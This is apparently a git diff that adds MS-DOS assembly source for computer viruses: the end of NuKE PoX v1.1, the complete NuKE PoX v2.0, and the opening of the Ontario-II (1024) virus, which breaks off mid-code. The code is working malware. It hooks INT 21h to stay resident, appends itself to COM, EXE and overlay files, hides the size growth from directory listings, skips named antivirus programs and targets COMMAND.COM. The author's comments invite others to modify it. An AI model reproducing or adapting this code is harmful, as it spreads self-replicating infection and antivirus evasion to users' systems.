;file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exe_file ;JMP to EXE Infector + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the firs + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h +exit_now2: + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cmp ax,7bcdh ;Virus checking if alive + jne leave_now ;No, Exit normally + mov bx,ax ;Yes, Fix BX with codez +leave_now: + jmp dword ptr cs:[int21] ;Jmp back to whatever +exe_file: + mov cx,word ptr cs:[buffer+20] ;IP Regester + mov word ptr cs:[exe_ip],cx ;Save IP Regester + mov cx,word ptr cs:[buffer+22] ;CS Regester + mov word ptr cs:[exe_cs],cx ;Save CS Regester + mov cx,word ptr cs:[buffer+16] ;SP Regester + mov word ptr cs:[exe_sp],cx ;Save SP Regester + mov cx,word ptr cs:[buffer+14] ;SS Regester + mov word ptr cs:[exe_ss],cx ;Save SS Regester + push ax + push dx + call multiply ;Figure a new CS:IP + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[buffer+22],dx ;Restore New CS + mov word ptr cs:[buffer+20],ax ;Restore New IP + pop dx + pop ax + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply ;Figure a new SS:SP + sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall + add ax,40h + mov word ptr cs:[buffer+14],dx ;New SS Pointer + mov word ptr cs:[buffer+16],ax ;New SP Pointer + pop dx + pop ax + + push bx + push cx + mov cl,7 ;Fix for Header for + shl dx,cl ;new file size in 512 + ;byte pages + mov bx,ax + mov cl,9 ;And the remainder + shr bx,cl ;after dividing by + ;512... + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: + pop cx + pop bx + + mov word ptr cs:[buffer+2],ax ;Save Remainder + mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag + call infect_me ;INFECT File! Yeah! + jc exit_exe + + mov ah,40h ;Write NEW EXE Header back + mov dx,offset ds:[buffer] ;to EXE File! Points to + mov cx,20h ;The Virus Now!!! ehhe + int 21h +exit_exe: + jmp exit_now + +rocko endp + +exe_ip dw 0 ;Original IP,CS,SP,SS From EXE +exe_cs dw 0 ;Header! +exe_sp dw 0 +exe_ss dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,40h ;Write the New Encrypted + mov dx,offset init_virus ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Fix EXE Header...Gets new SS, CS Values for EXEs headers +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +multiply proc near + push bx + push cx + mov cl,0Ch + shl dx,cl + + mov bx,ax + mov cl,4 + shr bx,cl + + add dx,bx + and ax,0Fh + pop cx + pop bx + retn +multiply endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check to see if an `Anti-Viral' Product is being executed. +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +check_name proc near + push si + push cx + + mov si,dx + mov cx,128h +loop_me: + cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String + je next_ok + inc si + loop loop_me +next_ok: + cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT) + jne next_1 ;Naaa + cmp ds:[si-4],'RP' + je bad_file ;Yupe... +next_1: + cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee) + jne next_2 ;Naaa + cmp ds:[si-4],'CS' + je bad_file ;Yupe... +next_2: + cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE + jne next_3 ;Naaa + cmp ds:[si-4],'EL' + je bad_file ;Yupe... +next_3: + pop cx + pop si ;good file Set CARRY FLAG + clc ;to normal + retn +bad_file: + pop cx ;Bad file, Set CARRY FLAG + pop si ;ON!!! + stc + retn +check_name endp + +command db "C:\COMMAND.COM",0 ;What to infect! +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h + db 30h DUP (?) +msg db "NukE PoX V1.1 - R.S" +last: +seg_a ends + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.npox-v20.asm b/MSDOS/Virus.MSDOS.Unknown.npox-v20.asm new file mode 100644 index 00000000..ff712b24 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.npox-v20.asm @@ -0,0 +1,1453 @@ +;========================================================================== +; ** NuKE Pox v2.0 ** +;This is VERY old code but I promised to give it out, you'll see it exactly +;like Npox v1.1 in IJ#4, The code here is VERY BADLY written, I wrote WHOLE +;procedures TWICE! so LOTS of double code, I leave it UNTOUCHED for you to +;see, and understand it! I don't care if you fuck with it, go for it! +;The method of TSR is old, method of getting the Vectors is bad, the way +;I infect EXEs ain't too hot... But hell it works! It infects overlays.. +;it won't infect F-prot.exe or anything with ????SCAN.EXE like SCAN.EXE or +;TBSCAN.EXE etc... Command.com dies fast... Really neat...Play all you like +; +;And to all those that said I `Hacked' this... +; FFFFFF UU UU CCCC KK KK YY YY OOOO UU UU +; FF UU UU CC CC KK KK YY YY OO OO UU UU +; FFFF UU UU CC KKK === YY OO OO UU UU +; FF UU UU CC CC KK KK YY OO OO UU UU +; FF UUUUUU CCCC KK KK YY OOOO UUUUUU +;Just cuz you can't do it, doesn't mean I can't, anyhow my 93 viruses are +;500% better than this one... +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* -* +;*- Virus: NuKE PoX Version: 2.0 *- +;-* ~~~~~~ ~~~~~~~~ -* +;*- Notes: EXE & COM & OVL Infector, TSR Virus. Dir Stealth Routine. *- +;-* Will Disinfect files that are opened, and re-infect them -* +;*- when they are closed! Executed files are disinfected then *- +;-* executed, and when terminated reinfected! -* +;*- VERY HARD to stop, it goes for your COMMAND.COM! beware! *- +;-* It is listed as a COMMON Virus due to is stealthiness! -* +;*- Bytes: 1800 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus_size equ last - init_virus ;Virus size +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h ;Offset location + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h ;COM file! +rocko proc far +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;------------------------------------------------------------------------- +init_virus: call doit_now ;Doit VirusMan... +doit_now: pop bp ;Not to Lose Track + sub bp,106h ;Set our position + push ax ;Save all the regesters + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + mov ax,0abcdh ;Are we resident Already? + int 21h ;***McAfee Scan String! + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + push cs ;Get CS=DS + pop ds + mov cx,es + mov ax,3521h ;Sometimes tend to inter- + int 21h ;cept this Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 ;Get TOM size + mov dx,virus_size ;Virus size in DX + mov cl,4 ;Shift 4 bits + shr dx,cl ;Fast way to divide by 16 + add dx,4 ;add 1 more para segment + mov cx,es ;current MCB segment + sub bx,dx ;sub virus_size from TOM + inc cx ;put back right location + mov es,cx + mov ah,4ah ;Set_block + int 21h + + jc exit_com + mov ah,48h ;now allocate it + dec dx ;number of para + mov bx,dx ; + int 21h + jc exit_com + dec ax ;get MCB + mov es,ax + mov cx,8h ;Made DOS the owner of MCB + mov es:mut2,cx ;put it... + sub ax,0fh ;get TOM + mov di,mut3 ;beginnig of our loc in mem + mov es,ax ; + mov si,bp ;delta pointer + add si,offset init_virus ;where to start + mov cx,virus_size + cld + repne movsb ;move us + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h +exit_com: push cs + pop ds + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file + mov bx,offset buffer ;Its a COM file restore + add bx,bp ;First three Bytes... + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3b + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ;Jump Back to Beginning + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +command db "C:\COMMAND.COM",0 + +exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc + mov dx,cs ; + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;add it to our segs + add dx,word ptr cs:[exe_ss][bp] + mov bx,word ptr cs:[exe_ip][bp] + mov word ptr cs:[fuck_yeah][bp],bx + mov word ptr cs:[fuck_yeah+2][bp],ax + mov ax,word ptr cs:[exe_ip][bp] + mov word ptr cs:[Rock_fix1][bp],dx + mov word ptr cs:[Rock_fix2][bp],ax + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;nothing but MOV AX,XXXX +Rock_Fix1: + dw 0 + cli + mov ss,ax + db 0BCh ;nothing but MOV SP,XXXX +Rock_Fix2: + dw 0 + sti + db 0EAh ;nothing but JMP XXXX:XXXX +Fuck_yeah: + dd 0 +int21 dd ? ;Our Old Int21 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;------------------------------------------------------------------------- +old_dir: call calldos21 ;get FCB + test al,al ;error? + jnz old_out ;nope + push ax + push bx + push es + mov ah,51h ;get PSP + int 21h + mov es,bx ; + cmp bx,es:[16h] ; + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh + int 21h + pop ax + inc al ;Extended FCB? + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh + cmp al,1eh + jnz not_infected + and byte ptr es:[bx+17h],0e0h ;fix secs + sub word ptr es:[bx+1dh],virus_size + sbb word ptr es:[bx+1fh],0 +not_infected: pop es + pop bx + pop ax +old_out: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: cmp ah,11h + je old_dir + cmp ah,12h + je old_dir + cmp ax,4b00h ;File executed + je dis_infect + cmp ah,3dh + je check_file + cmp ah,3eh + je check_file2 + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: jmp dword ptr cs:[int21] ;Split... + +check_file: jmp opening_file ;Like a Charm +check_file2: jmp closing_file +dis_infect: call disinfect ;EXE & COM okay +dont_disinfect: push dx + pushf + push cs + call int21call + pop dx + +execute: push ax + push bx + push cx + push dx + push ds + + push ax + push bx + push cx + push dx + push ds + push bp + push cs + pop ds + mov dx,offset command + mov bp,0abcdh + jmp command1 +command_ret: pop bp + pop ds + pop dx + pop cx + pop bx + pop ax + call check_4_av + jc exit1 +command1: mov ax,4300h ;Get file Attribs + call calldos21 + jc exit1 + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + call calldos21 + jc exit +open_file: mov ax,3D02h + call calldos21 +exit1: jc exit + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + Call calldos21 + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + xor al,cl ;Is it 60 seconds? + jz exit ;File already infected + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + mov ah,3Fh + mov cx,1Bh ;Read first 1B + mov dx,offset ds:[buffer] ;into our Buffer + call calldos21 + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer + xor cx,cx ;to EOF File + xor dx,dx + call calldos21 + jc exit_now ;Error Split + cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE? + je exe_infect ;Infect EXE file + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr ds:[jump_address+1],cx + call infect_me ;Infect! + jc exit + mov ah,40h ;Write back the + mov dx,offset jump_address + mov cx,3h + call calldos21 +exit_now: + mov cx,word ptr ds:[old_time] ;Restore old time + mov dx,word ptr ds:[old_date] ;Restore Old date + mov ax,5701h + call calldos21 + mov ah,3Eh + call calldos21 +exit: cmp bp,0abcdh + je command2 + pop ds + pop dx + pop cx + pop bx + pop ax + iret +command2: jmp command_ret + +exe_infect: mov cx,word ptr cs:[buffer+20] + mov word ptr cs:[exe_ip],cx + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc exit + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl + mov bx,ax + mov cl,9 + shr bx,cl + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: pop cx + pop bx + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 +exit_exe: jmp exit_now +rocko endp +vir_cs dw 0 +exe_ip dw 0 +exe_cs dw 0 +exe_sp dw 0 +exe_ss dw 0 +exe_sz dw 0 +exe_rm dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Opening File handle AX=3D +;------------------------------------------------------------------------- +opening_file: call check_extension + jnc open_fuck2 + call check_exten_exe + jnc open_fuck2 + jmp dword ptr cs:[int21] +open_fuck2: push ax + mov ax,3d02h + call calldos21 + jnc open_fuck1 + pop ax + iret +open_fuck1: push bx + push cx + push dx + push ds + mov bx,ax + mov ax,5700h + call calldos21 + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jnz opening_exit3 + dec cx + mov word ptr cs:[old_time],cx + mov word ptr cs:[old_date],dx + mov ax,4202h ;Yes Pointer to EOF + xor cx,cx + xor dx,dx + call calldos21 + mov cx,dx + mov dx,ax + push cx + push dx + sub dx,1Bh ;Get first 3 Bytes + sbb cx,0 + mov ax,4200h + call calldos21 + push cs + pop ds + mov ah,3fh ;Read them into Buffer + mov cx,1Bh + mov dx,offset buffer + call calldos21 + xor cx,cx ;Goto Beginning of File + xor dx,dx + mov ax,4200h + call calldos21 + mov ah,40h ;Write first three bytes + mov dx,offset buffer + mov cx,1Bh + cmp word ptr cs:[buffer],5A4Dh + je open_exe_jmp + mov cx,3h +open_exe_jmp: call calldos21 + pop dx ;EOF - Virus_Size + pop cx ;to get ORIGINAL File size + sub dx,virus_size + sbb cx,0 + mov ax,4200h + call calldos21 + mov ah,40h ;Fix Bytes + xor cx,cx + call calldos21 + mov cx,word ptr cs:[old_time] + mov dx,word ptr cs:[old_date] + mov ax,5701h + int 21h + mov ah,3eh ;Close File + call calldos21 +opening_exit3: pop ds + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Closing File Handle INFECT it! +;------------------------------------------------------------------------- +closing_file: cmp bx,0h + je closing_bye + cmp bx,5h + ja close_cont +closing_bye: jmp dword ptr cs:[int21] + +close_cont: push ax + push bx + push cx + push dx + push di + push ds + push es + push bp + push bx + mov ax,1220h + int 2fh + mov ax,1216h + mov bl,es:[di] + int 2fh + pop bx + add di,0011h + mov byte ptr es:[di-0fh],02h + add di,0017h + cmp word ptr es:[di],'OC' + jne closing_next_try + cmp byte ptr es:[di+2h],'M' + jne pre_exit + jmp closing_cunt3 +closing_next_try: + cmp word ptr es:[di],'XE' + jne pre_exit + cmp byte ptr es:[di+2h],'E' + jne pre_exit +closing_cunt: cmp word ptr es:[di-8],'CS' + jnz closing_cunt1 ;SCAN + cmp word ptr es:[di-6],'NA' + jz pre_exit +closing_cunt1: cmp word ptr es:[di-8],'-F' + jnz closing_cunt2 ;F-PROT + cmp word ptr es:[di-6],'RP' + jz pre_exit +closing_cunt2: cmp word ptr es:[di-8],'LC' + jnz closing_cunt3 + cmp word ptr es:[di-6],'AE' ;CLEAN + jnz closing_cunt3 +pre_exit: jmp closing_nogood +closing_cunt3: mov ax,5700h + call calldos21 + + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jz closing_nogood + push cs + pop ds + mov word ptr ds:[old_time],cx + mov word ptr ds:[old_date],dx + mov ax,4200h + xor cx,cx + xor dx,dx + call calldos21 + mov ah,3fh + mov cx,1Bh + mov dx,offset buffer + call calldos21 + jc closing_no_good + mov ax,4202h + xor cx,cx + xor dx,dx + call calldos21 + jc closing_no_good + cmp word ptr ds:[buffer],5A4Dh + je closing_exe + mov cx,ax + sub cx,3h + mov word ptr ds:[jump_address+1],cx + call infect_me + jc closing_no_good + mov ah,40h + mov dx,offset jump_address + mov cx,3h + call calldos21 +closing_no_good: + mov cx,word ptr ds:[old_time] + mov dx,word ptr ds:[old_date] + mov ax,5701h + call calldos21 +closing_nogood: pop bp + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] +closing_exe: mov cx,word ptr cs:[buffer+20] + mov word ptr cs:[exe_ip],cx + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc closing_no_good + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl + mov bx,ax + mov cl,9 + shr bx,cl + add dx,bx + and ax,1FFh + jz close_split + inc dx +close_split: pop cx + pop bx + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 +closing_over: jmp closing_no_good +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc + mov ah,40h + mov dx,offset init_virus + mov cx,virus_size + call calldos21 + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to + xor dx,dx ;top of file + call calldos21 + jc exit_error ;Split Dude... + clc ;Clear carry flag + ret +exit_error: + stc ;Set carry flag + ret +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; DisInfection Routine for 4B +;------------------------------------------------------------------------- +Disinfect PROC + push ax + push bx ;Save them + push cx + push dx + push ds + mov ax,4300h ;Get file Attribs + call calldos21 + test cl,1h ;Test for Normal Attribs + jz okay_dis ;Yes, File can be opened + and cl,0feh ;No, Set them to Normal + mov ax,4301h ;Save attribs to file + call calldos21 + jc half_way +okay_dis: mov ax,3d02h ;File now can be opened + call calldos21 ;Safely + jc half_way + mov bx,ax ;Put File Handle in BX + mov ax,5700h ;Get File Time & Date + call calldos21 + mov al,cl ;Check to see if infected + or cl,1fh ;Unmask Seconds + dec cx ;Test to see if 60 seconds + xor al,cl + jnz half_way ;No, Quit File AIN'T + dec cx + mov word ptr cs:[old_time],cx + mov word ptr cs:[old_date],dx + mov ax,4202h ;Yes, file is infected + xor cx,cx ;Goto the End of File + xor dx,dx + call calldos21 + push cs + pop ds + mov cx,dx ;Save Location into + mov dx,ax ;CX:DX + push cx ;Push them for later use + push dx + sub dx,1Bh ;Subtract file 1Bh from the + sbb cx,0 ;End so you will find the + mov ax,4200h ;Original EXE header or + call calldos21 ;First 3 bytes for COMs + mov ah,3fh ;Read them into Buffer + mov cx,1Bh ;Read all of the 1B bytes + mov dx,offset buffer ;Put them into our buffer + call calldos21 + jmp half +half_way: jmp end_dis +half: xor cx,cx ; + xor dx,dx ;Goto the BEGINNING of file + mov ax,4200h + call calldos21 + mov ah,40h ;Write first three bytes + mov dx,offset buffer ;from buffer to COM + mov cx,1Bh + cmp word ptr cs:[buffer],5A4Dh + je dis_exe_jmp + mov cx,3h +dis_exe_jmp: call calldos21 + pop dx ;Restore CX:DX which they + pop cx ;to the End of FILE + sub dx,virus_size ;Remove Virus From the END + sbb cx,0 ;of the Orignal File + mov ax,4200h ;Get new EOF + call calldos21 + mov ah,40h ;Write new EOF to File + xor cx,cx + call calldos21 + mov cx,word ptr cs:[old_time] + mov dx,word ptr cs:[old_date] + mov ax,5701h + call calldos21 + mov ah,3eh ;Close File + call calldos21 +end_dis: pop ds + pop dx + pop cx ;Restore 'em + pop bx + pop ax + ret +disinfect ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check File Extension DS:DX ASCIIZ +;-------------------------------------------------------------------------- +Check_extension PROC + push si + push cx + mov si,dx + mov cx,256h +loop_me: cmp byte ptr ds:[si],2eh + je next_ok + inc si + loop loop_me +next_ok: cmp word ptr ds:[si+1],'OC' + jne next_1 + cmp byte ptr ds:[si+3],'M' + je good_file +next_1: cmp word ptr ds:[si+1],'oc' + jne next_2 + cmp byte ptr ds:[si+3],'m' + je good_file +next_2: pop cx + pop si + stc + ret +good_file: pop cx + pop si + clc + ret +Check_extension ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check File Extension DS:DX ASCIIZ +;------------------------------------------------------------------------- +Check_exten_exe PROC + push si + push cx + mov si,dx + mov cx,256h +loop_me_exe: cmp byte ptr ds:[si],2eh + je next_ok_exe + inc si + loop loop_me_exe +next_ok_exe: cmp word ptr ds:[si+1],'XE' + jne next_1_exe + cmp byte ptr ds:[si+3],'E' + je good_file_exe +next_1_exe: cmp word ptr ds:[si+1],'xe' + jne next_2_exe + cmp byte ptr ds:[si+3],'e' + je good_file_exe +next_2_exe: pop cx + pop si + stc + ret +good_file_exe: pop cx + pop si + clc + ret +Check_exten_exe ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Call Int_21h Okay +;------------------------------------------------------------------------- +calldos21 PROC + pushf + call dword ptr cs:[int21] + retn +calldos21 ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; MultiPly +;-------------------------------------------------------------------------- +multiply PROC + push bx + push cx + mov cl,0Ch + shl dx,cl + xchg bx,ax + mov cl,4 + shr bx,cl + and ax,0Fh + add dx,bx + pop cx + pop bx + retn +multiply ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check for AV file... Like SCAN.EXE or F-PROT.EXE +;------------------------------------------------------------------------- +Check_4_av PROC + push si + push cx + mov si,dx + mov cx,256h +av: cmp byte ptr ds:[si],2eh + je av1 + inc si + loop av +av1: cmp word ptr ds:[si-2],'NA' + jnz av2 + cmp word ptr ds:[si-4],'CS' + jz fuck_av +av2: cmp word ptr ds:[si-2],'NA' + jnz av3 + cmp word ptr ds:[si-4],'EL' + jz fuck_av +av3: cmp word ptr ds:[si-2],'TO' + jnz not_av + cmp word ptr ds:[si-4],'RP' + jz fuck_av +not_av: pop cx + pop si + clc + ret +fuck_av: pop cx + pop si + stc + ret +Check_4_av ENDP +msg db "NuKE PoX V2.0 - Rock Steady" +old_time dw 0 +old_date dw 0 +file_handle dw 0 +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h ;\ + db 18h DUP (00) ;-Make 1Bh Bytes +last: +seg_a ends + end start +;========================================================================== +;========================================================================= +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; 1024-SRC Virus (Ontario-II) by Death Angel +; ======== +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; +;This VIRUS was only written as an experiment to see how far a computer +;virus could go through development. This pariticular virus in its present +;form WILL NOT do any damage to your data or go off bouncing a ball across +;your screen or play Yankee Doddle, IT WILL ONLY infect programs. +; +; Virus Information: +; Hides: In upper RAM, requires 3K of memory. +; Size: 1K (exactly when attached to either EXE or COM files) +; ID: Seconds in date of file is set to 32 (impossible value) +; .COM files, the 4th byte is 'O' +; .EXE files, the stack pointer is 0600h +; +; Cover-Up: If loaded with DEBUG, it will remove itself from memory. +; When doing a DIR, it will cover up the filesize increase. +; +;Notes: Also infects on a file open if the file ends in COM,EXE or OVL +; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Stack_Size Equ 512+1 + +Code Segment Para Public 'CODE' + Assume Cs:Code, Ds:Code + Org 0000h + +Jmpfar Macro addr + db 0EAh + dd addr +Endm + +Callfar Macro addr + db 09Ah + dd addr +Endm + +Retfar Macro num + db 0CAh + dw num +Endm + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; Do a loop to decode the rest of the virus. + +Virus_Begin: + +V00: Mov Bx, offset V05-V05_Back +V04: Mov Cx, offset Start_Code-(offset V05-V05_Back) +V01: Mov Al, 00h +V02: Add Byte ptr Cs:[Bx], Al +V03: Xor Al, 00h + Inc Bx + Loop V02 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +V05_Back Equ 0 + +V05: Sub Bx, offset Start_Code + Xchg Ax, Cx + Dec Ax + Int 21h + Or Al, Ah + Je Run_Prog + Push Ds + Xor Di, Di + Mov Ds, Di + Lds Ax, Dword ptr Ds:[21h*4] + Mov Word ptr Cs:[Bx].Saved_21, Ax + Mov Word ptr Cs:[Bx].Saved_21+2, Ds + Mov Cx, Es + Dec Cx + Mov Ds, Cx + Sub Word ptr Ds:[Di+03h], 3072/16 + Mov Ax, Word ptr Ds:[Di+12h] + Sub Ax, 3072/16 + Mov Word ptr Ds:[Di+12h], Ax + Mov Es, Ax + Sub Ax, 1000h + Mov Word ptr Cs:[Bx+Dos_Seg-2], Ax + Push Cs + Pop Ds + Mov Si, Bx + Mov Cx, offset Start_Code + Cld + Rep Movsb + Mov Ds, Cx + Cli + Mov Word ptr Ds:[21h*4], offset New_21 + Mov Word ptr Ds:[21H*4]+2, Es + Sti + Mov Ax, 4BFFh + Push Bx + Int 21h + Pop Bx + Pop Ds + Push Ds + Pop Es + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + 